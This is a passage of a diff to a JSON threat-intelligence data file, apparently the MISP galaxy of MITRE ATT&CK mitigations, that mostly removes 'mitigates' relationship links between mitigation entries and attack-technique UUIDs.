"f2cb6ce2-188d-4162-8feb-594f949b13dd", "value": "Scheduled Task Mitigation - T1053" }, @@ -9403,12 +7318,26 @@ ], "type": "mitigates" }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "b2d03cea-aec1-45ca-9744-9ee583c1e1cc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c", @@ -9458,13 +7387,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "0df05477-c572-4ed6-88a9-47c581f548f7", "tags": [ @@ -9493,13 +7415,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0", "tags": [ @@ -9605,13 +7520,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "808e6329-ca91-4b87-ac2d-8eadc5f8f327", "tags": [ @@ -9717,13 +7625,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ @@ -9746,15 +7647,7 @@ "https://attack.mitre.org/mitigations/T1037" ] }, - "related": [ - { - "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2", "value": "Logon Scripts Mitigation - T1037" }, @@ -9767,13 +7660,6 @@ ] }, "related": [ - { - "dest-uuid": "086952c4-5b90-4185-b573-02bad8e11953", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", "tags": [ @@ -9787,13 +7673,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" - }, - { - "dest-uuid": "d3046a90-580c-4004-8208-66915bc29830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" } ], "uuid": "609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", @@ -9812,15 +7691,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43", "value": "Process Hollowing Mitigation - T1093" }, @@ -9840,20 +7711,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "tags": [ @@ -9881,15 +7738,7 @@ "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" ] }, - "related": [ - { - "dest-uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "ec42d8be-f762-4127-80f4-f079ea6d7135", "value": "Indicator Blocking Mitigation - T1054" }, @@ -9906,15 +7755,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c95c8b5c-b431-43c9-9557-f494805e2502", "value": "Software Packing Mitigation - T1045" }, @@ -9926,15 +7767,7 @@ "https://attack.mitre.org/mitigations/T1074" ] }, - "related": [ - { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd", "value": "Data Staged Mitigation - T1074" }, @@ -9946,15 +7779,7 @@ "https://attack.mitre.org/mitigations/T1480" ] }, - "related": [ - { - "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c61e2da1-f51f-424c-b152-dc930d4f2e70", "value": "Environmental Keying Mitigation - T1480" }, @@ -10075,15 +7900,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b", "value": "Process Discovery Mitigation - T1057" }, @@ -10101,15 +7918,7 @@ "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077" ] }, - "related": [ - { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97", "value": "Account Discovery Mitigation - T1087" }, @@ -10125,15 +7934,7 @@ "https://www.us-cert.gov/ncas/alerts/TA13-175A" ] }, - "related": [ - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf", "value": "Valid Accounts Mitigation - T1078" }, @@ -10146,15 +7947,7 @@ "https://attack.mitre.org/mitigations/T1079" ] }, - "related": [ - { - "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec", "value": "Multilayer Encryption Mitigation - T1079" }, @@ -10171,15 +7964,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc", "value": "Modify Registry Mitigation - T1112" }, @@ -10193,15 +7978,7 @@ "https://technet.microsoft.com/en-us/library/dn408187.aspx" ] }, - "related": [ - { - "dest-uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5", "value": "Authentication Package Mitigation - T1131" }, @@ -10218,15 +7995,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55", "value": "Screen Capture Mitigation - T1113" }, @@ -10243,15 +8012,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7", "value": "Email Collection Mitigation - T1114" }, @@ -10263,15 +8024,7 @@ "https://attack.mitre.org/mitigations/T1141" ] }, - "related": [ - { - "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df", "value": "Input Prompt Mitigation - T1141" }, @@ -10288,15 +8041,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf", "value": "Clipboard Data Mitigation - T1115" }, @@ -10308,15 +8053,7 @@ "https://attack.mitre.org/mitigations/T1161" ] }, - "related": [ - { - "dest-uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "77fd4d73-6b79-4593-82e7-e4a439cc7604", "value": "LC_LOAD_DYLIB Addition Mitigation - T1161" }, @@ -10331,15 +8068,7 @@ "https://technet.microsoft.com/en-us/library/cc733026.aspx" ] }, - "related": [ - { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08", "value": "Code Signing Mitigation - T1116" }, @@ -10356,15 +8085,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152", "value": "Automated Collection Mitigation - T1119" }, @@ -10378,15 +8099,7 @@ "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6" ] }, - "related": [ - { - "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c7e49501-6021-414f-bfa1-94519d8ec314", "value": "Template Injection Mitigation - T1221" }, @@ -10403,15 +8116,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d", "value": "Audio Capture Mitigation - T1123" }, @@ -10424,15 +8129,7 @@ "https://attack.mitre.org/mitigations/T1132" ] }, - "related": [ - { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b", "value": "Data Encoding Mitigation - T1132" }, @@ -10449,15 +8146,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d", "value": "Video Capture Mitigation - T1125" }, @@ -10484,15 +8173,7 @@ "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html" ] }, - "related": [ - { - "dest-uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "62ae52c9-7197-4f5b-be1d-10d2e1df2c96", "value": "Domain Fronting Mitigation - T1172" }, @@ -10507,15 +8188,7 @@ "https://attack.mitre.org/mitigations/T1182" ] }, - "related": [ - { - "dest-uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "95c29444-49f9-49f7-8b20-bcd68d8fcaa6", "value": "AppCert DLLs Mitigation - T1182" }, @@ -10527,15 +8200,7 @@ "https://attack.mitre.org/mitigations/T1192" ] }, - "related": [ - { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "ad7f983d-d5a8-4fce-a38c-b68eda61bf4e", "value": "Spearphishing Link Mitigation - T1192" }, @@ -10547,15 +8212,7 @@ "https://attack.mitre.org/mitigations/T1143" ] }, - "related": [ - { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "fae44eea-caa7-42b7-a2e2-0c815ba81b9a", "value": "Hidden Window Mitigation - T1143" }, @@ -10567,15 +8224,7 @@ "https://attack.mitre.org/mitigations/T1136" ] }, - "related": [ - { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "9a5b7194-88e0-4579-b82f-e3c27b8cca80", "value": "Create Account Mitigation - T1136" }, @@ -10587,15 +8236,7 @@ "https://attack.mitre.org/mitigations/T1138" ] }, - "related": [ - { - "dest-uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "cfc2d2fc-14ff-495f-bd99-585be47b804f", "value": "Application Shimming Mitigation - T1138" }, @@ -10607,15 +8248,7 @@ "https://attack.mitre.org/mitigations/T1193" ] }, - "related": [ - { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119", "value": "Spearphishing Attachment Mitigation - T1193" }, @@ -10627,22 +8260,7 @@ "https://attack.mitre.org/mitigations/T1139" ] }, - "related": [ - { - "dest-uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "ace4daee-f914-4707-be75-843f16da2edf", "value": "Bash History Mitigation - T1139" }, @@ -10654,15 +8272,7 @@ "https://attack.mitre.org/mitigations/T1144" ] }, - "related": [ - { - "dest-uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158", "value": "Gatekeeper Bypass Mitigation - T1144" }, @@ -10674,22 +8284,7 @@ "https://attack.mitre.org/mitigations/T1145" ] }, - "related": [ - { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "f27ef4f2-71fe-48b6-b7f4-02dcac14320e", "value": "Private Keys Mitigation - T1145" }, @@ -10701,15 +8296,7 @@ "https://attack.mitre.org/mitigations/T1147" ] }, - "related": [ - { - "dest-uuid": "ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "12cba7de-0a22-4a56-b51e-c514c67c3b43", "value": "Hidden Users Mitigation - T1147" }, @@ -10722,15 +8309,7 @@ "https://www.symantec.com/connect/articles/ssh-and-ssh-agent" ] }, - "related": [ - { - "dest-uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "41cff8e9-fd05-408e-b3d5-d98c54c20bcf", "value": "SSH Hijacking Mitigation - T1184" }, @@ -10742,15 +8321,7 @@ "https://attack.mitre.org/mitigations/T1149" ] }, - "related": [ - { - "dest-uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "6e7db820-9735-4545-bc64-039bc4ce354b", "value": "LC_MAIN Hijacking Mitigation - T1149" }, @@ -10762,15 +8333,7 @@ "https://attack.mitre.org/mitigations/T1165" ] }, - "related": [ - { - "dest-uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "94927849-03e3-4a07-8f4c-9ee21b626719", "value": "Startup Items Mitigation - T1165" }, @@ -10782,15 +8345,7 @@ "https://attack.mitre.org/mitigations/T1157" ] }, - "related": [ - { - "dest-uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "dc43c2fe-355e-4a79-9570-3267b0992784", "value": "Dylib Hijacking Mitigation - T1157" }, @@ -10802,15 +8357,7 @@ "https://attack.mitre.org/mitigations/T1159" ] }, - "related": [ - { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "121b2863-5b97-4538-acb3-f8aae070ec13", "value": "Launch Agent Mitigation - T1159" }, @@ -10823,15 +8370,7 @@ "https://attack.mitre.org/mitigations/T1176" ] }, - "related": [ - { - "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8", "value": "Browser Extensions Mitigation - T1176" }, @@ -10848,15 +8387,7 @@ "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, - "related": [ - { - "dest-uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "34d6a2ef-370e-4d21-a34b-6208b7c78f31", "value": "Process Doppelgänging Mitigation - T1186" }, @@ -10872,15 +8403,7 @@ "https://technet.microsoft.com/library/dn408187.aspx" ] }, - "related": [ - { - "dest-uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "7a6e5ca3-562f-4185-a323-f3b62b5b2e6b", "value": "LSASS Driver Mitigation - T1177" }, @@ -10894,15 +8417,7 @@ "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices" ] }, - "related": [ - { - "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "7009ba4d-83d4-4851-9fbb-e09e28497765", "value": "Forced Authentication Mitigation - T1187" }, @@ -10917,15 +8432,7 @@ "https://www.symantec.com/connect/blogs/malware-update-windows-update" ] }, - "related": [ - { - "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "cb825b86-3f3b-4686-ba99-44878f5d3173", "value": "BITS Jobs Mitigation - T1197" }, @@ -10937,15 +8444,7 @@ "https://attack.mitre.org/mitigations/T1199" ] }, - "related": [ - { - "dest-uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "797312d4-8a84-4daf-9c56-57da4133c322", "value": "Trusted Relationship Mitigation - T1199" }, @@ -10957,15 +8456,7 @@ "https://attack.mitre.org/mitigations/T1495" ] }, - "related": [ - { - "dest-uuid": "f5bb433e-bdf6-4781-84bc-35e97e43be89", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "70886857-0f19-4caa-b081-548354a8a994", "value": "Firmware Corruption Mitigation - T1495" }, @@ -10982,15 +8473,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "46acc565-11aa-40ba-b629-33ba0ab9b07b", "value": "Resource Hijacking Mitigation - T1496" }, @@ -11008,29 +8491,7 @@ "https://www.ready.gov/business/implementation/IT" ] }, - "related": [ - { - "dest-uuid": "2e114e45-2c50-404c-804a-3af9564d240e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "b82f7d37-b826-4ec9-9391-8e121c78aed7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "0b3ee33e-430b-476f-9525-72d120c90f8d", "value": "Data Destruction Mitigation - T1488" }, @@ -11042,15 +8503,7 @@ "https://attack.mitre.org/mitigations/T1489" ] }, - "related": [ - { - "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "417fed8c-bd76-48b5-90a2-a88882a95241", "value": "Service Stop Mitigation - T1489" }, @@ -11126,13 +8579,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "3298ce88-1628-43b1-87d9-0b5336b193d7", "tags": [ @@ -11147,13 +8593,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", "tags": [ @@ -11196,6 +8635,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "8861073d-d1b8-4941-82ce-dce621d398f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "tags": [ @@ -11369,15 +8815,7 @@ "https://attack.mitre.org/mitigations/T1163" ] }, - "related": [ - { - "dest-uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c3cf2312-3aab-4aaf-86e6-ab3505430482", "value": "Rc.common Mitigation - T1163" }, @@ -11390,20 +8828,6 @@ ] }, "related": [ - { - "dest-uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ @@ -11444,15 +8868,7 @@ "https://attack.mitre.org/mitigations/T1121" ] }, - "related": [ - { - "dest-uuid": "215190a9-9f02-4e83-bb5f-e0589965a302", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a", "value": "Regsvcs/Regasm Mitigation - T1121" }, @@ -11659,13 +9075,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", "tags": [ @@ -11680,13 +9089,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "52759bf1-fe12-4052-ace6-c5b0cf7dd7fd", "tags": [ @@ -11701,13 +9103,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "tags": [ @@ -11750,13 +9145,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "79a4052e-1a89-4b09-aea6-51f1d11fe19c", "tags": [ @@ -11771,13 +9159,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "tags": [ @@ -11855,27 +9236,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", "tags": [ @@ -11911,13 +9271,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436", "tags": [ @@ -11985,20 +9338,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "tags": [ @@ -12340,13 +9679,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", "tags": [ @@ 